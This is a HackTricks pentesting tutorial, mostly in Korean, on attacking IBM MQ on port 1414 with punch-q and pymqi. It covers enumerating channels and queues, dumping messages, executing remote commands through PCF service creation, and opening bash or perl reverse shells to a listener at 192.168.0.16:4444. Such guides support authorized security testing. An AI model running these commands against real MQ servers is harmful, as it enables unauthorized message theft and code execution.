1414 - Pentesting IBM MQ

Support HackTricks

Basic information

IBM MQ는 메시지 큐를 관리하기 위한 IBM 기술입니다. 다른 메시지 브로커 기술과 마찬가지로, 생산자와 소비자 간의 정보를 수신, 저장, 처리 및 분류하는 데 전념하고 있습니다.

기본적으로 IBM MQ TCP 포트 1414를 노출합니다. 때때로, HTTP REST API는 포트 9443에서 노출될 수 있습니다. 메트릭(프롬테우스)은 TCP 포트 9157에서 접근할 수도 있습니다.

IBM MQ TCP 포트 1414는 메시지, 큐, 채널 등을 조작하는 데 사용될 수 있지만, 인스턴스를 제어하는 데도 사용될 수 있습니다.

IBM은 https://www.ibm.com/docs/en/ibm-mq에서 사용할 수 있는 방대한 기술 문서를 제공합니다.

Tools

쉬운 익스플로잇을 위한 추천 도구는 **punch-q**로, Docker를 사용합니다. 이 도구는 Python 라이브러리 pymqi를 적극적으로 사용합니다.

보다 수동적인 접근을 위해 Python 라이브러리 **pymqi**를 사용하세요. IBM MQ 의존성이 필요합니다.

Installing pymqi

IBM MQ 의존성을 설치하고 로드해야 합니다:

  1. https://login.ibm.com/에서 계정(IBMid)을 생성합니다.

  2. 압축을 풉니다 (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).

  3. sudo ./mqlicense.sh를 실행하여 라이센스 조건에 동의합니다.

Kali Linux를 사용하는 경우, 파일 mqlicense.sh를 수정합니다: 다음 줄(105-110행)을 제거/주석 처리합니다:

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
 then
   echo "ERROR: This package is incompatible with this system"
   echo "       This package was built for ${BUILD_PLATFORM}"
   exit 1
fi
  1. 이러한 패키지를 설치합니다:

sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. 그런 다음, 다른 도구를 이러한 종속성을 사용하여 실행하기 전에 .so 파일을 LD에 임시로 추가합니다: export LD_LIBRARY_PATH=/opt/mqm/lib64.

그런 다음, 프로젝트 pymqi를 클론할 수 있습니다: 흥미로운 코드 조각, 상수 등을 포함하고 있습니다... 또는 다음과 같이 라이브러리를 직접 설치할 수 있습니다: pip install pymqi.

Using punch-q

With Docker

간단히 사용하세요: sudo docker run --rm -ti leonjza/punch-q.

Without Docker

프로젝트 punch-q를 클론한 다음, 설치를 위해 readme를 따르세요 (pip install -r requirements.txt && python3 setup.py install).

그 후, punch-q 명령으로 사용할 수 있습니다.

Enumeration

punch-q 또는 pymqi를 사용하여 큐 관리자 이름, 사용자, 채널 및 큐를 열거할 수 있습니다.

Queue Manager

때때로, 큐 관리자 이름을 얻는 것에 대한 보호가 없습니다:

 sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Channels

punch-q는 기존 채널을 찾기 위해 내부(수정 가능한) 단어 목록을 사용합니다. 사용 예:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

일부 IBM MQ 인스턴스가 인증되지 않은 MQ 요청을 수락하므로 --username / --password가 필요하지 않습니다. 물론, 접근 권한은 다를 수 있습니다.

하나의 채널 이름(여기서는: DEV.ADMIN.SVRCONN)을 얻으면, 다른 모든 채널을 열거할 수 있습니다.

열거는 기본적으로 pymqi의 이 코드 스니펫 code/examples/dis_channels.py로 수행할 수 있습니다:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

... 하지만 punch-q는 그 부분도 포함하고 있습니다 (더 많은 정보와 함께!). 다음과 같이 실행할 수 있습니다:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

Queues

pymqi(dis_queues.py)와 함께 코드 스니펫이 있지만 punch-q는 큐에 대한 더 많은 정보를 검색할 수 있게 해줍니다:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

Dump messages

큐(들)/채널(들)을 대상으로 하여 메시지를 스니핑하거나 덤프할 수 있습니다(비파괴적 작업). 예시:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

모든 식별된 큐에 대해 반복하는 것을 주저하지 마십시오.

코드 실행

계속하기 전에 몇 가지 세부정보: IBM MQ는 여러 방법으로 제어할 수 있습니다: MQSC, PCF, Control Command. 일반적인 목록은 IBM MQ 문서에서 찾을 수 있습니다. PCF (프로그래머블 커맨드 포맷)는 인스턴스와 원격으로 상호작용하기 위해 우리가 집중하는 것입니다. punch-q와 더불어 pymqi는 PCF 상호작용을 기반으로 합니다.

PCF 명령 목록을 찾을 수 있습니다:

흥미로운 명령 중 하나는 MQCMD_CREATE_SERVICE이며, 그 문서는 여기에서 확인할 수 있습니다. 이 명령은 인스턴스의 로컬 프로그램을 가리키는 StartCommand를 인수로 사용합니다 (예: /bin/sh).

문서에는 이 명령에 대한 경고도 있습니다: "주의: 이 명령은 사용자가 mqm 권한으로 임의의 명령을 실행할 수 있도록 허용합니다. 이 명령을 사용할 권한이 부여되면, 악의적이거나 부주의한 사용자가 시스템이나 데이터를 손상시킬 수 있는 서비스를 정의할 수 있습니다. 예를 들어, 필수 파일을 삭제하는 것입니다."

참고: 항상 IBM MQ 문서(관리 참조)에 따르면, 서비스 생성을 위한 동등한 MQSC 명령(DEFINE SERVICE)을 실행하기 위해 /admin/action/qmgr/{qmgrName}/mqsc에 HTTP 엔드포인트가 있습니다. 이 측면은 아직 여기에서 다루어지지 않았습니다.

원격 프로그램 실행을 위한 PCF를 사용한 서비스 생성/삭제는 punch-q로 수행할 수 있습니다:

예제 1

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

IBM MQ의 로그에서 명령이 성공적으로 실행되었음을 확인할 수 있습니다:

2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

기계에서 기존 프로그램을 나열할 수도 있습니다 (여기서 /bin/doesnotexist ... 존재하지 않습니다):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

프로그램 실행이 비동기적이라는 점에 유의하세요. 따라서 익스플로잇을 활용하기 위해 두 번째 항목이 필요합니다 (리버스 셸을 위한 리스너, 다른 서비스에서의 파일 생성, 네트워크를 통한 데이터 유출 ...)

예제 2

쉬운 리버스 셸을 위해, punch-q는 두 가지 리버스 셸 페이로드를 제안합니다:

  • 하나는 bash

  • 하나는 perl

물론 execute 명령어로 사용자 정의 페이로드를 만들 수 있습니다.

bash의 경우:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
perl의 경우:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Custom PCF

IBM MQ 문서를 살펴보고 pymqi 파이썬 라이브러리를 직접 사용하여 punch-q에 구현되지 않은 특정 PCF 명령을 테스트할 수 있습니다.

Example:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

If you cannot find the constant names, you can refer to the IBM MQ documentation.

Example for MQCMD_REFRESH_CLUSTER (Decimal = 73). It needs the parameter MQCA_CLUSTER_NAME (Decimal = 2029) which can be * (Doc: ):

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    args = {2029: "*"}
    response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
    print("Error")
else:
    print(response)

qmgr.disconnect()

Testing environment

If you want to test the IBM MQ behavior and exploits, you can set up a local environment based on Docker:

  1. ibm.com 및 cloud.ibm.com에 계정이 있어야 합니다.

  2. 다음을 사용하여 컨테이너화된 IBM MQ를 생성합니다:

sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2

기본적으로 인증이 활성화되어 있으며, 사용자 이름은 admin이고 비밀번호는 passw0rd입니다 (환경 변수 MQ_ADMIN_PASSWORD). 여기서 큐 관리자 이름은 MYQUEUEMGR로 설정되어 있습니다 (변수 MQ_QMGR_NAME).

IBM MQ가 실행 중이며 포트가 노출되어 있어야 합니다:

 sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

IBM MQ 도커 이미지의 이전 버전은 다음에 있습니다: https://hub.docker.com/r/ibmcom/mq/.

References

Last updated